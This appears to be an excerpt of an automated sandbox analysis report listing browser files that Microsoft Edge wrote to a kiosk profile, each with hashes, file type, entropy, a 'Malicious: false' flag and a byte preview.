SSDEEP:	6:GLW0Hrt9vSiIlLW0Hrt9vSIkL9X8hslotGLNl0ml/XoQDeX:aHv0lbHvZAGEjVl/XoQ
MD5:	C7E9A53410287C3AB684AAF48E3656AD
SHA1:	BCC610486447198EE24882CF196093452677C206
SHA-256:	70C54C1363874E8A49E5CD0E2D040C1318A3D83104C13FAAAE7E3E2B16782852
SHA-512:	76AA2D75DC4B81964591AE8D1716B9D718E1061B96A6D897781567F1AF3C2C8BBB249C5138285D6791967DEE6D1678B0069A9185AFE6F24B6279E288C032E6D1
Malicious:	false
Preview:	..-......................'.F.....$M...../..f.?....-......................'.F.....$M...../..f.?..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	70072
Entropy (8bit):	0.9976647912466459
Encrypted:	false
SSDEEP:	48:656zxG1K2lO+A4cbX+LAn9VAKAFXX+6G2VAKAFXX+4YpmxOqVAKAFXX+TMnUYVAc:LxG1bZpNsJNs4ykO5NsbNs9Z
MD5:	FB45D4DF093ABADC867D84B5392EE8BF
SHA1:	D1F86625BD2E0FD67F0E2C3C74DE00627D98303E
SHA-256:	C2442313E9401A733D57CE802D26B13BD25857459BEDC71792ADCE29D09D3055
SHA-512:	54E7E1A0868DA53BE435E035A35F204DE0707FFFEA8F08FB4B7526437F7A026A3D06B5AB5DAB3F48645BF46699B53BDDA9B569210C253685C4F221DE995B56EB
Malicious:	false
Preview:	7....-...........$M.....b4'.............$M....._..*..^7SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	5.499619077337218
Encrypted:	false
SSDEEP:	48:gZ+Q83SBSGQnPFEHRH8xiIYjIYQzQqkRMYjMYpyPAlkfAlkl3:M0GQtsIYjIYQzQbRMYjMY0YcYw3
MD5:	3ABD9CF9BBF92772926E9E0F5D32B991
SHA1:	3AB74E82895F978A2F63B0F09FB6D2C9EC528271
SHA-256:	030E574D1EE2CB7BCD19FB01DFEB951AB67CDE6ACD5684DA7D08C0749376EEAE
SHA-512:	53A8EA7D55B83AA9090686F4A42CECF0009ED368483906424EDD500316329281EB9ACFAD5D3BDB32E84F2965C49BBCA853251B060308AB13BE380D4FA612F31E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..&f.................&f................c.70................39_config..........6.....n ...1..'..................4_IPH_CompanionSidePanel...IPH_CompanionSidePanel.....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch......4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton.....&4_IPH_FocusHelpBubbleScreenReaderPromo.$IPH_FocusHelpBubbleScreenReaderPromo......4_IPH_GMCCastStartStop...IPH_GMCCastStartStop......4_IPH_HighEfficiencyMode...IPH_HighEfficiencyMode......4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage....."4_IPH_PasswordsWebAppProfileSwitch&. IPH_PasswordsWebAppProfileSwitch.....-4_IPH_PriceInsightsPageActionIconLabelFeature1.+IPH_PriceInsightsPageActionIconLabelFeature......4_IPH_PriceTrackingChipFeature"..IPH_PriceTrackingChipFeature.....&4_IPH_PriceTrackingEmailConsentFeature.$IPH_PriceTrackingEmailConsentFeature.....-4_IPH_PriceT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.25665462915142
Encrypted:	false
SSDEEP:	6:ud8mHM1wkn23oH+Tcwt0rl2KLlcd8s+q2Pwkn23oH+Tcwt0rK+IFUv:1orfYebeLts+vYfYeb13FUv
MD5:	C6DFC7E9491447165B9FA96278394DC4
SHA1:	1ECAA9C703FB77536367E94A1920AFAB7E8C1AA4
SHA-256:	A68B939F3EE788FAE46EE8964FAEBF6BE2BD966CC1A8C91EEAEC52EE6CD96838
SHA-512:	E2B7984519677998F5B2726D7151D9EEDD17CE7AAAA2B38B40B2F85A106424697B587E1B21EDFD70D2E61D3A230742D4D6D82C6A909F71519D564737D52D3422
Malicious:	false
Preview:	2024/08/31-20:48:13.866 1d44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db since it was missing..2024/08/31-20:48:13.878 1d44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	729
Entropy (8bit):	3.92572214074794
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz9XZmh/U/9Y+cxMRP9I7lJRF6Nqa:G0nYUtypD3RUnmhCe+cxEcJ+
MD5:	05CD89E471FC901FF6583318AC8390A5
SHA1:	7971FFE8D6D706889A7423E65DC398EA4CFA5A12
SHA-256:	B84D8EEBF0EA7897DA718668C084E4420A5A247468ADE7D5AD078D0755D98FA3
SHA-512:	306322ADE7B249C0E33641236CA575DC1F55A335BCBF394AE69ACBAC2DAA7294CE055FE87A90E59E7FA2D8EA1A636DD8239265A4CE28F7E9E57BFAD3733FF65C
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_.........................20_........].................20_.....{a...................19_.....f.F..................18_.......\|.................37_.......&B.................38_........J.................39_.......?..................3_......r+..................4_..........................39_......M...................3_......-D..................4_.....P"...................9_.........................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.197617967047879
Encrypted:	false
SSDEEP:	6:ud8oAmHM1wkn23oH+Tcwt0rzs52KLlcd873Oq2Pwkn23oH+Tcwt0rzAdIFUv:1oTrfYeb99Lt7OvYfYebyFUv
MD5:	9F30001AEEE70245309A5D4F58B7E4BE
SHA1:	5F15E9765C51366288295A829EF9F3B6213511FA
SHA-256:	4B550360C9D583AD7925104B55158226EA5A15AB414AB9296CE3B4F30FF10082
SHA-512:	DF158AA975FF46145EEDEF0392F7AEED26ACB9992202918EE49FAB8BE32EF6A924827142E3068B90AA5D9FDCC2F0892F11F737638BFE574213B4F9A2188C00E7
Malicious:	false
Preview:	2024/08/31-20:48:13.848 1d44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata since it was missing..2024/08/31-20:48:13.862 1d44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\uu_host_config

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403024
Entropy (8bit):	4.987691454989427
Encrypted:	false
SSDEEP:	1536:HYbzOWIwetxI2LpvNCIFu77T38WJ5BR8Mm6EW9uU8ywMsF9leE08d207nMGvykSB:EPenNgBRrmVlr0K2lP/lFlWfEwlCx
MD5:	8F9BDA485854A823E20B47C4897937CF
SHA1:	A86D1E2D3AE6E2F2CAF52DAF6D839EB02FE4B334
SHA-256:	67487ABF17DE6084CF6D117F0551E92D3BA8DC70B08D17D3685603451799EF28
SHA-512:	5C94F19AE23F4220C455DBAD0DB1640A47D981D45306939496744CC1DF2BD5980F25E417C764661CBD608D69E178CB4795763E04F21F5812AC0BA7BBCAA1008C
Malicious:	false
Preview:	{.. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",.. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",.. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",.. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",.. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",.. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",.. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",.. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",.. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",.. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",.. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",.. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlD/Ll:Ls3D/Ll
MD5:	10ACF3B4AA6E5A430B88FB3D2CB7B369
SHA1:	71BE7D96923EA9079CA3487EF10EE2918C04B3E8
SHA-256:	EB8BD0EDC509E08377B7CAB1DD64974AC542B691BA2BF8F628505E135EF3F889
SHA-512:	BB9E342409091511B22B6254184A1DAA4FE94460A65EC54E77C99EC98F52A9F142F42DC0BDE35FA3743E34B9AA39C66330A0C7EFAF76648A21A7B34DDBA8AE20
Malicious:	false
Preview:	........................................s.vv../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl9X/l:Ls3Bl
MD5:	D5CC5EA7F2571B77CB1DE2A5A42DA8E2
SHA1:	3A8BB2D135638573C35F665074FD3BBA3ABA399D
SHA-256:	1566414F5F394FFBD2A7558449E9428F896D78FBF1D4F87C5C455BC7A14BE92C
SHA-512:	76573A8CB85F76CE9D08BDA66F52D34102833BCF372225D6A96784C50FAD31671D25C6AFF96ED5075502D369B88DF3F30A75B4799C10C9D0B4A2852F89C7059E
Malicious:	false
Preview:	..........................................{v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF2c4fc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
